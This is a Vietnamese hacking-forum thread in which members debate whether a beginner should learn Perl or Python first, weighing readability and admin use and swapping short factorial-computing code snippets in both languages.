  [Question]   Nên học perl trước hay python trước? 23/07/2009 22:37:27 (+0700) | #15 | 187285
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]

conmale wrote:

Do newbieProIT đưa ra đòi hỏi "xét từ góc độ công việc của một Admin" thì mênh mông quá. 

Do em chưa hình dung hết một công việc của Admin là phải làm những gì. Em mới học năm nhất nên kiến thức còn nhiều yếu kém smilie.
Anh có thể nói sơ qua một số công việc cần sử dụng một trong hai ngôn ngữ này giúp em được không.
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 23/07/2009 23:10:11 (+0700) | #16 | 187295
[Avatar]
huyente
Member

[Minus]    0    [Plus]
Joined: 15/07/2007 18:34:33
Messages: 22
Offline
[Profile] [PM]

holiganvn wrote:

...
perl dễ học 

holiganvn wrote:

...
perl hay hơn python bởi vì có khả năng tạo các chương trình nhỏ(script Attack) 1 cách nhanh chóng
 

Có bạn nào đồng ý với ý kiến này không nhỉ? Mình muốn bổ sung thêm một tiêu chí nữa để so sánh, đó là: network programming. Không biết về khoản này thì thằng nào mạnh hơn, các bác cho ý kiến với?
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 24/07/2009 05:22:24 (+0700) | #17 | 187355
[Avatar]
hizit91
Member

[Minus]    0    [Plus]
Joined: 04/01/2009 20:29:43
Messages: 133
Offline
[Profile] [PM] [Yahoo!]
Vừa vote cho perl một phiếu, lí do đơn giản chỉ là, tính tới thời điểm hiện tại, em chỉ mới biết perl smilie và chưa biết gì về python cả smilie
* Trông cái "GetOptions" của perl có vẻ đẹp hơn smilie
Hết cấp ba, ta lên cấp bố smilie
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 24/07/2009 21:30:02 (+0700) | #18 | 187410
odouroflove
Member

[Minus]    0    [Plus]
Joined: 23/07/2009 21:40:12
Messages: 29
Offline
[Profile] [PM]
Có lẽ thế này chưa đủ để tụi em không "phân vân" nhỉ. Vì chưa biết gì cả nên rất khó... nhờ kinh nghiệm của người đi trước thôi !!!
Các anh chỉ ra vài mặt mạnh-yếu, ứng dụng,...của 2 loại này để tụi em dễ định hướng.
Thanks nhiều !!
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 24/07/2009 23:55:23 (+0700) | #19 | 187423
pdah
Member

[Minus]    0    [Plus]
Joined: 26/06/2006 20:44:03
Messages: 47
Offline
[Profile] [PM]
Mình góp ý ngoài lề 1 tý, cái poll này là giúp định hướng cho các bạn chưa biết gì về Perl và Python chọn lựa. Nên tốt nhất là chỉ có bác nào biết cả 2 rồi thì tick vào cho cái poll nó khách quan.

Bản thân mình học Python trước, sau đó mới học Perl. Mình chỉ dùng Perl khi cần viết script theo kiểu quick n dirty để xứ lý chuỗi trong files hoặc chơi nhiều với Regular Expression, còn lại mọi thứ đều dùng python.

Xét về khía cạnh "human readability" thì python cũng nhỉnh hơn hẳn, bạn có thể nhìn vào một số đoạn code của Python, tuy chưa biết gì về ngôn ngữ cũng có thể đoán được đoạn code đó để làm gì. Mình để ý thấy trên wikipedia, người ta vẫn hay dùng Python như là pseudo code để minh họa cho thuật toán.

Điểm mình thích nhất ở Python so với các ngôn ngữ còn lại là nó phân biệt block code bằng indent chứ không bằng cặp dấu { }, ai chơi với python thì "đã ko code thì thôi, code rồi là phải đẹp".

Bạn có thể xem thêm về phần quảng cáo cho Python của anh Nam "Trăng Xanh" tại BarCamp :
http://www.vithon.org/tintuc/python-ngon-ngu-lap-trinh-cho-phan-doi-con-lai )
Tui tư duy nên tui tồn tại
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 25/07/2009 08:18:07 (+0700) | #20 | 187483
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Life is short, use Python!
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 25/07/2009 09:14:16 (+0700) | #21 | 187484
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]

pdah wrote:
Mình góp ý ngoài lề 1 tý, cái poll này là giúp định hướng cho các bạn chưa biết gì về Perl và Python chọn lựa. Nên tốt nhất là chỉ có bác nào biết cả 2 rồi thì tick vào cho cái poll nó khách quan.

Bản thân mình học Python trước, sau đó mới học Perl. Mình chỉ dùng Perl khi cần viết script theo kiểu quick n dirty để xứ lý chuỗi trong files hoặc chơi nhiều với Regular Expression, còn lại mọi thứ đều dùng python.

Xét về khía cạnh "human readability" thì python cũng nhỉnh hơn hẳn, bạn có thể nhìn vào một số đoạn code của Python, tuy chưa biết gì về ngôn ngữ cũng có thể đoán được đoạn code đó để làm gì. Mình để ý thấy trên wikipedia, người ta vẫn hay dùng Python như là pseudo code để minh họa cho thuật toán.

Điểm mình thích nhất ở Python so với các ngôn ngữ còn lại là nó phân biệt block code bằng indent chứ không bằng cặp dấu { }, ai chơi với python thì "đã ko code thì thôi, code rồi là phải đẹp".

Bạn có thể xem thêm về phần quảng cáo cho Python của anh Nam "Trăng Xanh" tại BarCamp :
http://www.vithon.org/tintuc/python-ngon-ngu-lap-trinh-cho-phan-doi-con-lai )
 


Cảm ơn anh nhiều. Đọc cái slide xong thấy nghiền python luôn ^^

Life is short, use python smilie
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 25/07/2009 22:11:41 (+0700) | #22 | 187530
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]
chủ trương của mình là "Cõng trăn về cắn lạc đà"
Thời sinh viên một thời lầm lỡ khi cưỡi lạc đà, sau khi ra trường, trong một lúc bấn loạn đã rút dao hạ sát lạc đà, thà đi bộ còn hơn ... khứa khứa smilie
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 25/07/2009 23:26:39 (+0700) | #23 | 187539
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

gamma95 wrote:
chủ trương của mình là "Cõng trăn về cắn lạc đà"
Thời sinh viên một thời lầm lỡ khi cưỡi lạc đà, sau khi ra trường, trong một lúc bấn loạn đã rút dao hạ sát lạc đà, thà đi bộ còn hơn ... khứa khứa smilie 


thế không phải bác bữa nay chuyển sang cưỡi đà điểu rồi à smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 25/07/2009 23:46:11 (+0700) | #24 | 187541
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]
các bác cao thủ perl, viết dùm mình chương trình tính 1000!
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 26/07/2009 00:03:46 (+0700) | #25 | 187546
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Để tiện so sánh, đây là code Python:
Code:
f = 2
for i in xrange(3, 1001):
    f = f * i
# f là giá trị cần tìm
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 27/07/2009 02:03:37 (+0700) | #26 | 187660
[Avatar]
secmask
Elite Member

[Minus]    0    [Plus]
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
[Profile] [PM] [WWW]
em đọc một tẹo perl và xin đưa ra phương án tương đương trong perl để tính 1000! smilie, cái chính là việc support bigint (ko rõ từ version nào nữa)
Code:
use bigint;
$x = 2;
for($y=3;$y<=1000;$y++){
        $x=$x*$y;
}
print $x;
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 27/07/2009 03:22:01 (+0700) | #27 | 187668
[Avatar]
hkvn
Member

[Minus]    0    [Plus]
Joined: 11/05/2005 15:08:36
Messages: 21
Location: FOTECH
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!]
code Perl của tớ smilie .

Code:
use bigint;
$n = 1;
$n *= $_ for 2..1000;
# $n là giá trị cần tìm


hoặc
Code:
use bigint;
sub f {
    $_[0]>1?$_[0]*f($_[0]-1):1;
}
# f(1000) là gía trị cần tìm

[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 27/07/2009 06:03:47 (+0700) | #28 | 187677
[Avatar]
K4i
Moderator

Joined: 18/04/2006 09:32:13
Messages: 635
Location: Underground
Offline
[Profile] [PM]
quyết định không bao giờ sờ đến perl của mình là chính xác smilie)
Sống là để không chết chứ không phải để trở thành anh hùng
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 27/07/2009 06:17:35 (+0700) | #29 | 187679
[Avatar]
hkvn
Member

[Minus]    0    [Plus]
Joined: 11/05/2005 15:08:36
Messages: 21
Location: FOTECH
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!]

K4i wrote:
quyết định không bao giờ sờ đến perl của mình là chính xác smilie


Perl cũng có cái hay của nó mà. Tuy nhiên xét một cách tổng quan thì có lẽ python vẫn hơn, đặc biệt là với những người mới học.

@K4i: Thấy cái title ở dưới nick màu xanh hay hay :">, làm thế nào để đc vào group Elite Members thế?
[Up] [Print Copy]
  [Question]   Nên học perl trước hay python trước? 27/07/2009 06:18:03 (+0700) | #30 | 187680
newbieProIT
Member

[Minus]    0    [Plus]
Joined: 14/04/2009 20:14:14
Messages: 68
Offline
[Profile] [PM]
Đã bắt đầu học python smilie. Thanks các anh nhiều
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|